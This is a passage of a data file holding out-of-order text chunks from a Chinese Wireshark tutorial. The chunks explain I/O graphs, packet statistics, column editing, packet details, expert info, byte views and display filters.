·Rate(ms)：显示该长度范围内数据包传输速率。 ·Percent：显示该长度范围内数据包所占百分比。 ·Burst rate：显示该长度范围内每毫秒发送的最大数据包数。 ·Burst start：显示该长度范围发送最大数据包的时间。 通过对该捕获文件中的数据包长度进行分析可知，在40～97长度范围内的包最多，共包括475个分组。最小的数据包长度为42，最大的数据包长度为1506。"},
    {"text": "未知 1.1.3 网络类型 依据不同标准，网络有不同的分类方法。根据地理位置分类，网络可以分为局域网、城域网、广域网和个人网4种。其中，网络类型不同，数据传输模式不同，数据传输的复杂程度也不同。下面将分别介绍这4种类型网络的数据传输方式。 1.局域网 局域网（Local Area Netwok，LAN）是指在某一区域内由多台计算机互联成的计算机组。局域网是最常见、应用最广泛的一种网络。所谓局域网，就是在局部地区范围内使用的网络，它所覆盖的地区范围比较小。在局域网中，PC通常是通过路由器连接到网络中的，如图1.3所示。 图1.3 局域网数据传输方式 2.城域网 城域网（Metropolitan Area Network，MAN）是在一个城市范围内所建立的计算机通信网，属于宽带局域网。这种网络的连接距离为10千米到100千米，它采用的是IEEE 802.6标准。其中，城域网数据传输方式如图1.4所示。 图1.4 城域网数据传输方式 3.广域网 广域网（Wide Area Network，WAN）也称为外网或公网，是连接不同地区局域网或城域网计算机通信的远程网。这种网络所覆盖的范围很大，从几十公里到几千公里，它能连接多个地区、城市和国家，甚至全球范围。其中，广域网数据传输方式如图1.5所示。 图1.5 广域网数据传输方式 4.个人网 个人网就是在个人工作的地方把属于个人使用的电子设备（如便携电脑等）用无线技术连接起来的网络。因此，个人网也常称为无线个人局域网（WPAN），其范围大约在10米左右。其中，个人网数据传输方式如图1.6所示。 图1.6 个人网数据传输方式"},
    {"text": "未知 3.3.4 数据流量 在Wireshark中，用户通过在菜单栏中依次选择“统计”|“I/O图表”命令，即可快速分析数据流量，以找出哪个时间段发送的数据流量较大。"},
    {"text": "在菜单栏中依次选择“统计”|“I/O图表”命令，打开“IO图表”对话框，如图3.38所示。 图3.38 “IO图表”对话框 “IO图表”对话框中共包括3部分：第1部分以图表形式显示了数量流量情况；"},
    {"text": "第2部分共包括8列，分别为Enabled（启用）、Graph Name（图表名称）、Display Filter（显示过滤器）、Color（颜色）、Style（样式）、Y Axis（Y轴）、Y Field（Y轴字段）和SMA Period（平滑速率）。"},
    {"text": "其中，在下拉列表中可以设置的样式有Line（线）、Impulse（脉冲）、Bar（条形）、Stacked Bar（分段条形）、Dot（点）、Square（正方形）和Diamond（菱形）。"},
    {"text": "其中，在下拉列表中可以设置的速率有10 interval SMA、20 interval SMA、50 interval SMA、100 interval SMA、200 interval SMA、500 interval SMA和1000 interval SMA。"},
    {"text": "勾选“对数刻度”复选框，将以对数刻度方式显示图形数据。 在图形中对于一些较小的数值可能显示不是很明显，此时可以使用“对数刻度”来显示图形数据。"},
    {"text": "如果想要删除或复制某图形，则选择该图形信息并单击删除按钮 或复制按钮 ，即可删除或复制其图形。 如果想要清除图表中的所有图形，则单击清除所有图形按钮 即可。"},
    {"text": "【实例3-9】 使用I/O图表快速分析，捕获文件中主机（192.168.1.4）发送和接收TCP数据包的情况。 具体操作步骤如下： （1）打开分析的捕获文件，并在菜单栏中依次选择“统计”|“I/O图表”命令，打开“IO图表”对话框，如图3.40所示。"},
    {"text": "这里将添加两个图形，分别用来显示主机192.168.1.4发送和接收的数据包。 单击添加按钮 ，添加一个用来显示主机192.168.1.4发送数据包的图形。"},
    {"text": "其中，设置该图形名称为“TCP源”，显示过滤器为“ip.src==192.168.1.4”，颜色为“红色”，样式为Stacked Bar，Y轴单元为Bytes，Y Field为tcp.len，SMA Period为None，如图3.41所示。"},
    {"text": "（3）以上添加的图形表示显示主机192.168.1.4发送的数据包。 接下来，使用同样的方式再添加一个图形，用来表示主机192.168.1.4接收的数据包。"},
    {"text": "其中，接收数据包图形的设置结果如图3.42所示。 图3.41 发送数据包图形 图3.42 接收数据包图形 （4）此时用来显示主机发送和接收数据包的图形就创建好了。"},
    {"text": "为了不受其他图形对数据分析的影响，取消默认的“所有分组”和“TCP错误”图形在图表中的显示，即去掉Enabled列的复选框，效果如图3.43所示。"},
    {"text": "从图3.43中可以看到，主机接收的数据量（ip.dst==192.168.1.4过滤条件）比发送的数据量高。 这是由于客户端在访问服务器时，客户端只向服务器发送了请求文件，并且在收到数据后发送确认数据，但是服务器需要发送大文件，所以接收的数据量就大。"},
    {"text": "未知 3.3.5 发包统计 在Wireshark中，还可以快速分析每个主机的发包数。在菜单栏中依次选择“统计”|IPv4 Statistics|All Addresses命令，查看发包统计数，以找出某主机发送的数据包最多。 在菜单栏中依次选择“统计”|IPv4 Statistics|All Addresses命令，打开所有地址对话框，如图3.44所示。 图3.44 所有地址对话框 在“所在地址”对话框中共包括9列，分别是Topic/Item（标题/项目）、Count（分组数）、Average（平均分组数）、Min val（最小值）、Max val（最大值）、Rate(ms)（速率）、Percent（分组数所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。每列的含义如下： ·Topic/Item：显示了捕获文件中所有的主机地址，如61.240.155.208、61.135.169.125和61.135.169.121等。 ·Count：显示每个主机发送的数据包数。 ·Average：显示每个主机发送的数据包平均值。 ·Min val：显示每个主机发送的数据包最小值。 ·Max val：显示每个主机发送的数据包最大值。 ·Rate(ms)：显示每个主机发送的数据包速率。 ·Percent：显示每个主机发送的数据包所占百分比。 ·Burst rate：显示每个主机每毫秒发送的突发数据包数。 ·Burst start：显示每个主机突发数据包的启动时间。 通过对以上信息进行分析，即可获取到每个主机的发包统计信息。例如，主机地址61.135.169.125总共发送的包数为54；发包速率为每毫秒0.0023；发包数占总包数的百分比为4.68%；突发包速率为0.1700；图发数据包时间为14.109。 在所有地址对话框中，默认是按照所有IP地址显示的统计信息。为了方便用户进行分析，通过单击相应的标题列即可按照相应的列进行排序。例如，用户想要快速找出发送数据包最多的主机，则可以按照分组列进行排序，此时单击两下Count列，即可按照分组数列进行排序，如图3.45所示。 图3.45 按照分组进行排序 从图3.45所示的Count列可以看到，成功按照分组数进行了排序。从显示的结果可以看到，主机192.168.1.3发送的数据包最多，共1153个包。 未知 第4章 数据呈现 Wireshark捕获数据包后会以多种形式呈现给用户。在Wireshark中，捕获的每个数据包称为一个分组。每个分组都以3种模式展现，分别是分组列表、分组详情和分组字节流。本章将详细讲解这3种数据呈现方式。 未知 4.1 分组列表 分组列表是以表格的形式显示了当前捕获文件中的所有分组。每个分组的核心数据以列的形式展现。针对所有分组，Wireshark默认显示常见的几列核心数据。根据实际需求，用户可以编辑现有列、添加或删除列。本节将介绍如何通过分组列表的方式分析数据。 未知 4.1.1 默认列 在分组列表中，Wireshark会使用默认的列呈现当前的分组数据。其中，分组列表的默认列呈现数据方式如图4.1所示。 图4.1 分组列表 从如图4.1所示的分组列表中可以看到，默认显示了7列，分别是编号列No.、时间列Time、源地址列Source、目标地址列Destination、协议列Protocal、长度列Length和信息列Info。为了使用户更清楚列表的内容，下面将依次介绍这些列的作用。 1.编号列No 编号列是Wireshark自动添加的序号，标识分组在当前捕获文件中的顺序。其中，默认从编号1开始，即第一个分组，后面以此类推。 2.时间列Time 时间列用来显示获取分组的时间。时间列提供多种形式，用户可以根据需要选择显示的模式。 3.源地址列Source 源地址列是指分组发送方地址，常见形式为Mac地址或者IP地址。 4.目标地址列Destination 目标地址列是指分组接收方地址，常见形式为Mac地址或IP地址。另外，还有一种特殊的地址，即广播地址，如Broadcast和239.255.255.250等。 5.协议列Protocol 协议列是指分组传输的协议，如TCP、UDP、HTTP和DNS等。 6.长度列Length 长度列是指整个分组的数据长度。 7.信息列Info 信息列是Wireshark解析分组后提取的重要信息。通过分析该列的信息，可以快速了解到该分组传输的信息。 当用户对分组列表中每列的作用了解后，即可分析列的值，以获取分组的详细信息。 【实例4-1】 分析图4.1中分组2（No）的信息。 其中，该分组的捕获时间（Time）为1.108050；源地址（Source）为Skyworth_53:e0:35；目标地址（Destination）为Broadcast（广播地址）；协议（Protocol）为ARP；分组的数据长度（Length）为60；分组信息（Info）为Who has 192.168.1.44?Tell 192.168.1.1。由此可以说明，该分组是主机Skyworth_53:e0:35广播的一个ARP协议请求包，请求获取主机192.168.1.44的Mac地址。"},
    {"text": "未知 4.1.2 编辑现有列 在分组列表中，所有列都可以进行编辑，如修改列的名称、类型和值等。通过修改列，可以显示自己需要的信息。在分组列表中选择要编辑的列，并右击该列标题，弹出右键菜单，单击“编辑列”命令，在该列上面出现一个编辑列的设置工具栏，如图4.2所示。 图4.2 编辑列设置项 其中，“标题”文本框用来设置列的标题内容；“类型”下拉列表框用来设置Wireshark默认提供的类型，如表4.1所示；“字段”文本框用来设置用户自定义的值类型，值必须是显示过滤器表达式；“发生”文本框用来指定值出现的索引。当用户自定义类型的值在分组中有多个时，则需要指定是第几次出现的值。Wireshark默认显示的是从高层协议最先出现的值。 表4.1 Wireshark默认提供的类型及其含义 【实例4-2】 下面编辑时间（Time）列，以UTC date,as YYY-MM-DD,and time格式显示数据。 （1）右击Time列，单击“编辑列”命令，弹出Time列的编辑界面，然后单击“类型”下拉列表，显示支持的所有类型，如图4.3所示。 图4.3 指定时间格式 （2）在“类型”下拉列表框中选择UTC date,as YYY-MM-DD,and time时间格式，显示如图4.4所示的界面。 图4.4 指定的时间格式 （3）单击OK按钮，时间列的格式将被修改，如图4.5所示。 （4）此时，可以看到Time列的显示格式已成功修改。 还可以以同样的方式修改为其他时间格式。其中，UTC date,as YYYY/DOY,and time和UTC time格式的显示效果如图4.6和图4.7所示。 图4.5 UTC date,as YYY-MM-DD,and time格式 图4.6 UTC date,as YYYY/DOY,and time格式 图4.7 UTC time格式"},
    {"text": "未知 4.1.3 添加/删除列 除了默认显示的列，用户还可以手动添加或删除列。对于分析某个协议的分组时，通过添加特定列，可以更为直观地看到对应的信息。例如，分析HTTP数据包时，用户可能更希望直接看到目标主机名。此时，用户可以添加一个Host列显示目标主机名。当用户不需要某列时，也可以将其删除。下面将介绍添加和删除列的两种方法。 1.全局设置 全局设置是通过修改Wireshark首选项，对列进行添加和删除。这种方式对所有的捕获文件均有效。在菜单栏中依次选择“编辑”|“首选项”命令，即可打开“首选项”对话框，如图4.8所示。 图4.8 “首选项”对话框 在左侧栏中依次选择Appearance|Columns分支，显示列的编辑对话框，如图4.9所示。 图4.9 列的编辑对话框 列的编辑对话框共包括5列，分别是已显示、标题、类型、字段和字段发生。 ·“已显示”列是用来设置是否在分组列表中显示该列； ·“标题”列是在分组列表中显示的列名称； ·“类型”列是用来设置标准列的类型，Wireshark默认提供多个类型，如表4.1所示； ·“字段”列是用来指定自定义列的类型，这里支持显示过滤器表达式； ·“字段发生”列指定值出现的索引。当值在层中出现时，该列指定显示哪个值。 通过双击这几列的值，即可修改默认值。如果修改类型列的话，双击后将显示一个下拉列表框，用户即可从中选择想要添加的列类型，然后单击添加按钮 ，即可添加列；单击删除按钮 ，可以删除列。 【实例4-3】 下面将为HTTP协议添加一个主机列Host。具体操作步骤如下： （1）在列的编辑界面单击添加按钮 ，将显示如图4.10所示的对话框。 图4.10 新添加的列 （2）从中可以看到，默认添加了一个标题为New Column、类型为Number的列。此时，设置列标题为Host，类型为Custom，字段为http.host，字段发生值为0，如图4.11所示。 图4.11 添加Host列 （3）单击OK按钮使配置生效，效果如图4.12所示。 图4.12 新添加的Host列 （4）从该分组列表中可以看到增加了一个名称为Host的列。由此可以说明成功添加了列。 【实例4-4】 下面将添加一个时间戳列，设置标题为Delta，类型为Delta time。具体操作步骤如下： （1）在列的编辑对话框单击添加按钮 ，将添加一个新列，如图4.13所示。 图4.13 添加列 （2）从对话框可以看到，默认添加了一个标题为New Column、类型为Number的列。此时，双击标题字段，设置标题为Delta；双击类型字段，设置类型为Delta time，效果如图4.14所示。 图4.14 添加的列信息 （3）单击OK按钮使配置生效，显示效果如图4.15所示。 图4.15 列添加成功 （4）从分组列表中即可看到新添加的Delta列。 【实例4-5】 删除前面添加的标题为Delta的列。具体操作步骤如下： （1）打开“首选项”对话框，并选择Appearance|Columns分支，如图4.16所示。 （2）选择标题为Delta的列，单击删除按钮 即可删除Delta列，如图4.17所示。 （3）从图4.17中可以看到，Delta列已删除。单击OK按钮使配置生效。 2.特定文件 特定文件是指修改后的配置仅对该文件有效，不影响其他捕获文件的显示。用户通过在分组详情中右击某个字段，并选择“应用为列”命令，即可添加列，如图4.18所示；或者在分组详情中选择字段，然后在菜单栏依次选择“分析”|“应用为列”命令，即可添加列。在分组详情中，每个子树中展开的信息都属于一个字段，都可以用来添加为列。 图4.16 删除列 图4.17 成功删除列 在分组详情中所有有冒号分隔的包信息都属于一个字段。用户通过右击某个字段，并选择“应用为列”即可添加该列到分组列表中。 如果用户要在特定文件中删除列，右击该列，选择“删除此列”命令，即可删除该列，如图4.19所示。 图4.18 添加列菜单 图4.19 删除列菜单 【实例4-6】 下面将以HTTP协议数据包中的Host字段为例，在特定文件中添加列。具体操作方法如下： （1）在分组列表中选择一个使用HTTP协议的分组，并展开分组详情信息，如图4.20所示。 图4.20 分组详情 （2）从分组详情中可以看到包括有一个Host字段。此时，选择该字段并右击，将弹出一个快捷菜单，如图4.21所示。 图4.21 快捷菜单 （3）在该菜单中选择“应用为列”命令，即可成功添加Host列，如图4.22所示。 图4.22 成功添加列 （4）从该分组列表中可以看到，成功添加了一个名称为Host的列。用户也可以通过在分组详情中选择Host字段，并在菜单栏中依次选择“分析(A)”|“应用为列”命令来添加列。 【实例4-7】 删除Host列。具体操作步骤如下： （1）在分组列表中右击Host列，将弹出对应的快捷菜单，如图4.23所示。 图4.23 删除列 （2）选择“删除此列”命令，即可成功删除Host列，如图4.24所示。 图4.24 成功删除Host列 （3）从分组列表中可以看到，Host列被删除了。"},
    {"text": "未知 4.1.4 隐藏/移动/重排列 为了方便分析数据，用户还可以隐藏、移动或重排列。下面将介绍对列进行隐藏、移动或重排。 1.隐藏列 隐藏列只是不在分组列表中显示特定的列。如果用户需要的时候还可以恢复显示。为了方便用户分析数据包，可以对不重要的列进行隐藏。例如，ARP之类协议的数据包长度都是固定的，长度列Length就不需要显示。如果要隐藏某列，只需要在列的编辑界面，将“已显示”列复选框中的对勾去掉即可，如图4.25所示。 图4.25 隐藏列 或者，用户在分组列表中直接右击某列，将列前面的对勾去掉也可以隐藏该列，如图4.26所示。 图4.26 隐藏列菜单 从图4.26所示的菜单中可以看到，每个列名称前面都有一个对勾图标 ，表示显示该列。如果想要隐藏某列，单击该列即可取掉列名称前面的对勾图标 ，即隐藏该列。 【实例4-8】 隐藏Length列。具体操作步骤如下： （1）打开“首选项”对话框，并选择Columns分支。然后选择Length标题列，并将“已显示”中的对勾去掉，如图4.27所示。 图4.27 隐藏列 （2）单击OK按钮使设置生效。此时在分组列表中将不会看到Length列，如图4.28所示。 图4.28 成功隐藏Length列 （3）从分组列表中可以看到成功隐藏了Length列。 用户也可以在分组列表中右击Length列来隐藏该列，如图4.29所示。 图4.29 隐藏列 单击Length列，则Length前面的对勾图标 将被移除，效果如图4.30所示。 图4.30 成功隐藏列 此时，发现Length列成功被隐藏。如果想要显示该列，再次单击Length列即可勾选该列，即在分组列表中显示列。 2.移动列 如果某列显示的信息较多（如Info列），分组列表的最后一列无法完全显示在当前屏幕范围内，需要用户一直左右拖动滚动条。此时将该列移动到前面即可方便用户分析数据。用户在分组列表中即可左右移动某列。在编辑列界面中，通过上下拖动列，即可实现在分组列表中移动列，如图4.31所示。 图4.31 列编辑界面 在图4.31所示的对话框中选择某列，即可上下列的位置。 【实例4-9】 移动Info列到No列后面。具体操作步骤如下： （1）打开“首选项”对话框并选择Columns分支。 （2）选择Info列并将其拖放到No列下面，效果如图4.32所示。 图4.32 移动列 （3）从图4.32中可以看到，Info列已经移动到No列下面了。单击OK按钮使配置生效，效果如图4.33所示。 图4.33 移动列成功 （4）从分组列表中可以看到，Info列成功被移动到No列的右侧。 在分组列表中，用户也可以直接选择某列进行移动。首先选择要移动的列，然后移动到想要的位置即可。 3.重排列 在分组列表中，默认是按照No列的顺序由低到高依次显示每个分组的。在某些时候，用户需要按照其他方式分析包，如协议、目标地址等。此时，用户通过单击对应的列，即可对列进行重排。例如，按照协议重新排列，则需要在分组列表中单击Protocol列，将显示如图4.34所示的界面。 图4.34 重排列 从分组列中可以看到，所有分组按照协议进行了重新排列，并且依次显示了每种协议的分组，如ARP、DNS和HTTP等。从分组No.列可以看到，分组的编号顺序被打乱了。 未知 4.2 分组详情 分组详情表示显示分组的详细信息。在分组详情中，Wireshark对该分组进行了解析，并列出了关键信息。本节将介绍以分组详情的方式呈现数据。 未知 4.2.1 查看方式 在分组详情中，用户可以使用两种方式来查看其详细信息，分别是双击分组列表或查看现有的Wireshark窗口。例如，查看分组13的详细信息，在分组列表中单击该列，然后直接在Wireshark的现有窗口中查看，如图4.35所示。 图4.35 分组详情 从图4.35中即可看到分组13的详细信息。用户也可以在分组列表中双击该分组以查看分组详情。当用户双击该分组后，将打开一个新的对话框，如图4.36所示。 图4.36 分组详情 从中可以看到，在一个新的窗口中显示了分组13的详细信息。 未知 1.2 网络协议 网络协议是网络上所有设备（如网络服务器、计算机、交换机和路由器等）之间通信规则的集合，它规定了通信时信息必须采用的格式和这些格式的意义。由于数据根据网络协议规定构建对应的数据包，所以必须了解网络协议，才能分析数据包，从而获取其中的数据。下面详细讲解网络协议的分层模型和TCP/IP协议族。"},
    {"text": "未知 4.2.2 操作树形结构 从前面查看分组详情的结果中可以看到，每个分组详情的信息都是被折叠的。而分组详情是按照协议、分层解析以树形结构显示详细信息的。如果要查看详细信息，则需要对树进行操作。其中，可以执行的操作有4种，分别是展开子树、折叠子树、展开全部和收起全部。下面介绍如何操作树形结构，以查看分组详情信息。 提示： 对树形进行操作的4种方式，对所有分组都生效。 1.展开/折叠子树 子树是表示分组的单个协议层信息。展开子树表示展开单个协议层的详细信息；折叠子树表示折叠单个协议层的详细信息。通过对TCP/IP协议的了解可知，一个数据包会经过多层协议进行封装。例如，HTTP是属于一个应用层协议。在数据包中，将包括以太网协议头部、IP协议头部和TCP协议头部。如果想要查看每层协议的信息，则需要通过展开子树的方式来查看。通过在分组详情中选择对应的协议层，然后依次选择“视图”|“展开子树”命令，即可展开子树。如果用户不用再分析子树信息的话，在菜单栏中依次选择“视图”|“折叠子树”命令，即可折叠子树。 【实例4-10】 操作HTTP协议包的树形结构，即展开子树HTTP协议。具体操作步骤如下： （1）在Wireshark窗口中显示HTTP分组详情信息，如图4.37所示。 图4.37 分组详情 （2）从分组详情中可以看到，该分组包括的协议层有Ethernet II（以太网协议）、Internet Protocol Version 4（IPv4协议）、Transmission Control Protocol（TCP协议）、Hypertext Transfer Protocol（HTTP协议）。这里将查看HTTP子树信息，所以选择Hypertext Transfer Protocol协议层，然后在菜单栏中依次选择“视图”|“展开子树”命令，即可展开该协议层的详细信息，如图4.38所示。 图4.38 展开子树 （3）从该分组详情中即可看到HTTP协议的详细信息，即各个字段信息，如User-Agent、Host、Accept等。如果不再分析该协议层信息的话，可以折叠子树。同样，在分组详情中先选择HTTP协议层信息。然后在菜单栏中依次选择“视图”|“折叠子树”命令，即可折叠该协议层信息。 2.展开/折叠全部 这里的全部指的是数据包的所有协议层信息。展开全部表示展开所有协议层信息；折叠全部表示折叠所有协议层信息。如果想要展开分组的所有协议层信息，在菜单栏中依次选择“视图”|“展开全部”命令，即可展开所有协议层信息。如果想要折叠分组的所有协议层信息，在菜单栏中依次选择“视图”|“折叠全部”命令，即可折叠所有协议层信息。 【实例4-11】 展开或折叠全部树。具体操作步骤如下： （1）在菜单栏中依次选择“视图”|“展开全部”命令，即可展开分组的所有协议层信息，如图4.39所示。 图4.39 展开全部 （2）从分组详情窗口中即可看到所有解析的协议层信息都被展开。此时，用户即可分析每个字段，以获取对应的信息。如果用户想要折叠所有协议层信息的话，在菜单栏中依次选择“视图”|“收起全部”命令即可。 用户也可以直接在分组详情中操作该树形结构。如果想要对某分组详情进行操作的话，则在该分组详情界面右击，将弹出一个快捷菜单，如图4.40所示。 图4.40 操作树形结构 在图4.40所示的菜单中可以看到操作树形结构的4种方式。如果用户想要分析单层协议详细信息的话，选择对应的协议层，然后右击，选择“展开子树”命令，即可显示对应的分组详情。同样，如果要折叠展开的协议层信息的话，则选择该协议层，然后选择“折叠子树”命令即可。另外，如果用户只想要查看单层协议的详细信息，也可以单击协议层左侧的箭头按钮 来展开子树结构，如图4.41所示。 图4.41 成功展开子树 从图4.41中可以看到展开的子树结构信息。如果用户想要折叠该子树，则单击协议层左侧的向下箭头按钮 即可。"},
    {"text": "未知 4.2.3 专家信息 专家信息是Wireshark基于捕获数据包添加的建议信息。下面将介绍通过专家信息查看分组详情的方法。在菜单栏中依次选择“分析”|“专家信息”命令，将打开“专家信息”对话框，如图4.42所示。 图4.42 专家信息对话框 图4.42中显示了当前捕获文件中的所有专家信息。在该信息中共包括5列，分别为严重（安全级别）、概要（描述信息）、组、协议和计数（包数）。接下来即可分析Wireshark对数据包添加的建议信息，并查看对应的分组详情。其中，Wireshark支持的安全级别有以下几种： ·Error（错误）：该级别的数据包表示存在非常严重的错误，或者解析器解析时的错误。 ·Warning（警告）：该级别的数据包不是正常通信中的数据包。简单地说就是非正常通信产生的数据包。 ·Note（注意）：该级别的数据包是正常通信时的异常数据包。 ·Chat（会话）：该级别的数据包是正常通信的基本信息。 ·Comment（注释）：添加注释的数据包。其中，包的注释信息是需要用户手动添加的，所以默认没有显示注释类级别的包。 【实例4-12】 查看专家信息。具体操作步骤如下： （1）在菜单栏中依次选择“分析”|“专家信息”命令，将打开专家信息对话框。 （2）这里将分析下第一个严重级别的分组专家信息。这些分组的严重程度级别为Error（错误）；描述信息为畸形包；组为Malformed（畸形）；协议为DNS；计数为4。此时，单击箭头按钮 ，即可看到4个畸形的DNS协议数据包，如图4.43所示。 图4.43 Error级别的数据包 （3）从该界面可以看到，存在Error级别的数据包分别是6、7、29和30。此时在该界面选择存在问题的包，即可在Wireshark窗口中快速定位到具体的包信息。例如，查看分组6的详细信息。在该窗口的Error中选择6，即可看到对应的包详细信息，如图4.44所示。 图4.44 包详细信息 （4）从图4.44中可以看到，分组6中确实是一个畸形包（Malformed Packet），而且使用的协议为DNS，安全级别为Error，分组为Malformet。 默认情况下，Wireshark会显示所有安全级别的专家信息。如果存在问题较多的数据包时，用户也可以过滤显示专家信息。在专家信息窗口中，单击“显示”下拉按钮，即可显示可以过滤的选项，如图4.45所示。 此时，用户可以分别过滤显示的包类型有错误（Error）、警告（Warning）、聊天（Chat）、注意（Note）和注释（Comment）。 图4.45 过滤选项 未知 4.3 分组字节流 分组字节流是显示数据包的原始信息。通过查看分组字节流信息，即可看到数据包的原始信息。在Wireshark中，分组字节流以数值形式和文本形式同时显示，如图4.46所示。用户可以对每种形式的数据的显示方式进行设置。 图4.46 分组字节流 未知 4.3.1 数值形式 Wireshark允许以十六进制和二进制两种方式显示数值。Wireshark默认是以十六进制显示字节流信息的，而二进制形式适合查看协议的比特位信息，如TCP的SYN位，效果如图4.47所示。 图4.47 二进制查看分组字节流 在分组详情中，Flags分支则是TCP数据包的标志位信息。从中可以看到Syn的值为1，对应二进制值00000010中的右侧第二个值。 【实例4-13】 下面通过分组字节流来分析TCP协议的标志位。例如，查看TCP的SYN,ACK位。 （1）在分组列表中选择标志位为SYN,ACK的TCP包，将显示如图4.48所示的界面。 （2）在分组字节流中设置以二进制形式显示字节流数字。在分组字节流中右击，将弹出一个快捷菜单，如图4.49所示。 图4.48 TCP包的分组字节流 图4.49 快捷菜单 （3）选择…as bits命令，即可以二进制形式显示分组字节流，如图4.50所示。 图4.50 二进制显示分组字节流 （4）此时，在分组详情中展开SYN，ACK包的Flags分支，将显示如图4.51所示的界面。 图4.51 SYN,ACK标志位 （5）从分组字节流中可以看到倒数第二位和第5位值为1，正好与Flags中的值对应，即Acknowledgment（ACK位）和Syn（SYN位）。 未知 4.3.2 文本形式 在Wireshark中，数据包内容会以特定的编码格式显示为文本形式。分组字节流面板中默认支持以下两种编码格式： ·ASCII：使用ASCII码格式显示为文本形式。 ·EBCDIC：使用EBCDIC格式显示为文本形式。 【实例4-14】 使用EBCDIC码格式显示为文本形式。Wireshark默认是以ASCII格式显示文本形式的。 （1）选择任意一个分组查看其分组字节流，如图4.52所示。 图4.52 分组字节流 （2）这里默认是以ASCII码格式显示分组字节流。此时，在分组字节流面板右击，将弹出一个快捷菜单，如图4.53所示。 （3）在其中选择…as EBCDIC命令，即可使用EBCDIC格式显示文本形式，如图4.54所示。 图4.53 菜单栏 图4.54 EBCDIC编码格式 （4）此时，成功使用EBCDIC编码格式显示了文本形式。"},
    {"text": "未知 4.3.3 分析分组字节 Wireshark提供了一个分析分组字节流功能，可以在独立窗口中以更多的形式显示数据。在菜单栏中依次选择“分析”|“显示分组字节”命令，将打开分组字节流对话框，如图4.55所示。 图4.55 分组字节流对话框 从分组字节流对话框中可以看到，默认解码格式为无，显示格式为ASCII。通过“解码为”和“显示为”下拉列表框即可切换解码和显示格式。这里支持的解码格式包括Base64、压缩、可打印引用和ROT13。 支持的显示格式包括ASCII、ASCII与控制符、C语言数组、EBCDIC、Hex转储、HTML、图像、ISO 8859-1、原始数据、UTF-8、UTF-16和YAML。 【实例4-15】 查看分组字节流信息。这里查看一个传输图片的HTTP包，然后设置显示格式为图像，即可看到传输的图片内容。具体操作步骤如下： （1）从分组列表中找到使用HTTP协议传输图片的数据包，如图4.56所示。 图4.56 捕获的数据包 （2）从Info列可以看到分组3407数据包，传输的是一个JPEG格式图片。此时，在分组详情中选择JPEG File Interchange Format分支，并在菜单栏中依次选择“分析”|“显示分组字节”命令，将显示分组字节流对话框，如图4.57所示。 图4.57 分组字节流对话框 （3）从对话框中可以看到，该图片信息是以ASCII格式显示的数据。在“显示为”下拉列表框中选择“图像”，将以图片的形式显示传输的内容，如图4.58所示。 图4.58 传输的图片内容 （4）从图4.58中可以看到，已经成功地显示了传输的图片内容。 未知 第5章 显示过滤器 显示过滤器指的是针对已经捕获的报文，过滤出符合特定规则的分组。通常情况下，用户捕获到的文件很多，即使使用捕获过滤器后，仍然还是有很多无关的包。当用户分析数据包时，很难找到自己需要的部分，此时显示过滤器就非常有用了。显示过滤器相比捕获过滤器更加强大，而且更加常用。因为显示过滤器不仅可以对数据包进行过滤，而且不会省略捕获文件中的其他数据。也就是说，如果用户想回到原先的捕获文件，只需要清空显示过滤表达式即可。为了方便用户对数据包进行分析，本章将介绍显示过滤器的使用技巧。 未知 5.1 基础使用 如果要使用显示过滤器，那么需要了解它的语法格式及使用方法。本节将介绍显示过滤器的基础使用方法。"},
    {"text": "未知 5.1.1 使用显示过滤器 在Wireshark中，用户可以通过过滤器工具栏，或者在菜单栏依次选择“编辑”|“查找分组”命令两种方式来使用显示过滤器。其中，在工具栏中使用显示过滤如图5.1所示。 图5.1 使用显示过滤器 在图5.1所示的窗口中有一个“应用显示过滤器”文本框。用户将使用的过滤器表达式输入后，单击应用过滤器按钮 ，即可在该捕获文件中应用这个显示过滤器。 【实例5-1】 在工具栏中使用显示过滤器tcp.port==80，过滤TCP端口为80的数据包。 （1）在显示过滤器文本框中输入显示过滤器tcp.port==80，如图5.2所示。 图5.2 输入显示过滤器表达式 （2）单击应用过滤器按钮 ，即可在捕获文件中应用该显示过滤器，如图5.3所示。 图5.3 成功应用显示过滤器 （3）从状态栏中可以看到，总共分组为359个，已显示的为37个。由此可以说明，有37个分组匹配使用的显示过滤器条件。从Info列可以看到，所有分组的包源或目标端口都为80。例如，从该窗口的第一个分组（分组3）Info列可以看到，该分组源端口为80，目标端口为1752。如果用户想要返回原先的捕获文件，可以单击取消按钮 ，如图5.4所示。 图5.4 成功取消显示过滤器 （4）从图5.4中可以看到，使用的显示过滤器已被清除，并且恢复为原来的捕获文件内容。 在菜单栏中依次选择“编辑”|“查找分组”命令，将在分组列表中出现一个使用显示过滤器的工具栏，如图5.5所示。 图5.5 使用显示过滤器工具栏 从工具栏中可以看到，默认显示了分组列表、宽窄、区分大小写和显示过滤器4个选项。在显示过滤器文本框中指定使用的显示过滤器，并单击“查找”按钮，即可在捕获文件中应用其显示过滤器。这种方式主要是为了方便用户快速查找数据包。通过单击“显示过滤器”下拉按钮，可以选择使用显示过滤器、十六进制值、字符串和正则表达式方式来快速查找数据包。当用户使用字符串和正则表达式方式时，可以设置第一个选项和是否启用大小写区分。如果想要启用，则勾选“区分大小写”复选框。单击第一个下拉按钮可以设置为分组列表、分组详情和分组字节流。当用户设置查找格式为字符串时，还可以设置字符串的宽窄。单击“宽窄”下拉按钮，可以将字符串设置为宽窄、宽（UTF-16）和窄（UTF-8/ASCII）。 【实例5-2】 使用显示过滤tcp.port==80，查找TCP端口为80的数据包。 （1）在显示过滤器文本框中输入显示过滤器tcp.port==80，如图5.6所示。 图5.6 使用显示过滤器 （2）单击“查找”按钮，即可跳转到符号条件的数据包，如图5.7所示。 图5.7 查找分组 （3）从图5.7所示的窗口中可以看到，已自动跳转到分组21（该分组高亮）。从Info列可以看到，该分组的源端口为21822，目标端口为80。由此可以说明成功使用显示过滤器快速找到了需要的数据包。如果用户不需要使用显示过滤器查找数据包的话，单击“取消”按钮，该工具栏即可删除。"},
